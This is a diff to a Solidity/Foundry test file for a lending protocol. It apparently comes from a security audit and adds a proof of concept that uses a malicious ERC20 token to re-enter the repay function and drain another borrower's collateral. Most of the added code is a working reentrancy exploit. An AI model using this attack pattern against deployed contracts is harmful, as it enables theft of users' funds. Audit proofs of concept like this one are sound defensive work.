@@ -21,24 +21,67 @@ contract TERC20 is ERC20 {
}
}
+contract MaliciousERC20 is ERC20 {
+ Lender public lender;
+ bool startAttack;
+
+ constructor(address _lender) {
+ lender = Lender(_lender);
+ }
+
+ function name() public pure override returns (string memory) {
+ return "Malicious Test ERC20";
+ }
+
+ function symbol() public pure override returns (string memory) {
+ return "Mal_TERC20";
+ }
+
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ function attack() public {
+ startAttack = true;
+ }
+
+ function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
+ if (startAttack) {
+ startAttack = false;
+
+ uint256[] memory loanIds = new uint256[](1);
+ loanIds[0] = 1;
+
+ _mint(address(this), 1 wei); // mint 1 wei to repay the debt
+ _approve(address(this), address(lender), 1 wei);
+
+ lender.repay(loanIds);
+ }
+ }
+}
+
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
- address public lender1 = address(0x1);
- address public lender2 = address(0x2);
- address public borrower = address(0x3);
- address public fees = address(0x4);
+ address public lender1 = vm.addr(0x1);
+ address public lender2 = vm.addr(0x2);
+ address public borrower = vm.addr(0x3);
+ address public borrower2 = vm.addr(0x4);
+ address public fees = vm.addr(0x4);
function setUp() public {
+ vm.label(borrower2, "borrower2");
+
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
+ collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
@@ -48,6 +91,9 @@ contract LenderTest is Test {
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
+ vm.startPrank(borrower2);
+ loanToken.approve(address(lender), 1000000*10**18);
+ collateralToken.approve(address(lender), 1000000*10**18);
}
function test_createPool() public {
@@ -180,6 +226,71 @@ contract LenderTest is Test {
assertEq(poolBalance, 1000*10**18);
}
+ function test_drain_funds_with_repay() public {
+ /** 1. Setup malicious ERC-20 token which re-enters the repay function */
+ MaliciousERC20 maliciousLoanToken = new MaliciousERC20(address(lender));
+ maliciousLoanToken.mint(address(borrower2), 1_000_000 ether);
+
+ vm.prank(borrower2); // @audit-info borrower and lender are the same
+ maliciousLoanToken.approve(address(lender), type(uint256).max);
+
+ /** 2. Setup legit pool and loan which collateral will be stolen from */
+ test_borrow();
+
+ /** 3. Setup malicious pool */
+ vm.startPrank(borrower2);
+ Pool memory p = Pool({
+ lender: borrower2,
+ loanToken: address(maliciousLoanToken),
+ collateralToken: address(collateralToken),
+ minLoanSize: 1 wei,
+ poolBalance: 1_000 ether,
+ maxLoanRatio: 1_000 ether, // @audit-info highly inflated max loan ratio
+ auctionLength: 1 days,
+ interestRate: 0,
+ outstandingLoans: 0
+ });
+ bytes32 maliciousPoolId = lender.setPool(p);
+
+ (,,,,uint256 poolBalance,,,,) = lender.pools(maliciousPoolId);
+ assertEq(poolBalance, 1_000 ether);
+
+ // 4. Create two loans - the second loan is required to be able to decrement `outstandingLoans` twice during the reentrancy.
+ Borrow memory b = Borrow({
+ poolId: maliciousPoolId,
+ debt: 1 wei,
+ collateral: 100 ether
+ });
+ Borrow memory b2 = Borrow({
+ poolId: maliciousPoolId,
+ debt: 1 wei,
+ collateral: 1 wei
+ });
+ Borrow[] memory borrows = new Borrow[](2);
+ borrows[0] = b;
+ borrows[1] = b2;
+ lender.borrow(borrows);
+
+ assertEq(collateralToken.balanceOf(address(lender)), 100 ether + 100 ether + 1 wei); // collateral deposits from all loans
+
+ uint256[] memory loanIds = new uint256[](1);
+ loanIds[0] = 1;
+
+ uint256 collateralTokenBalanceBefore = collateralToken.balanceOf(address(borrower2));
+
+ /** 5. Start attack */
+ maliciousLoanToken.attack();
+
+ /** 6. Repay loan -> will re-enter via the `MaliciousERC20` token */
+ lender.repay(loanIds);
+
+ uint256 collateralTokensReceivedByBorrower2 = collateralToken.balanceOf(address(borrower2)) - collateralTokenBalanceBefore;
+
+ /** 7. Profit */
+ assertEq(collateralTokensReceivedByBorrower2, 200 ether); // @audit-info borrower2 receives 200 ether in collateral tokens (100 stolen from borrower1)
+ assertEq(collateralToken.balanceOf(address(lender)), 1);
+ }
+
function testFail_repayNoTokens() public {
test_borrow();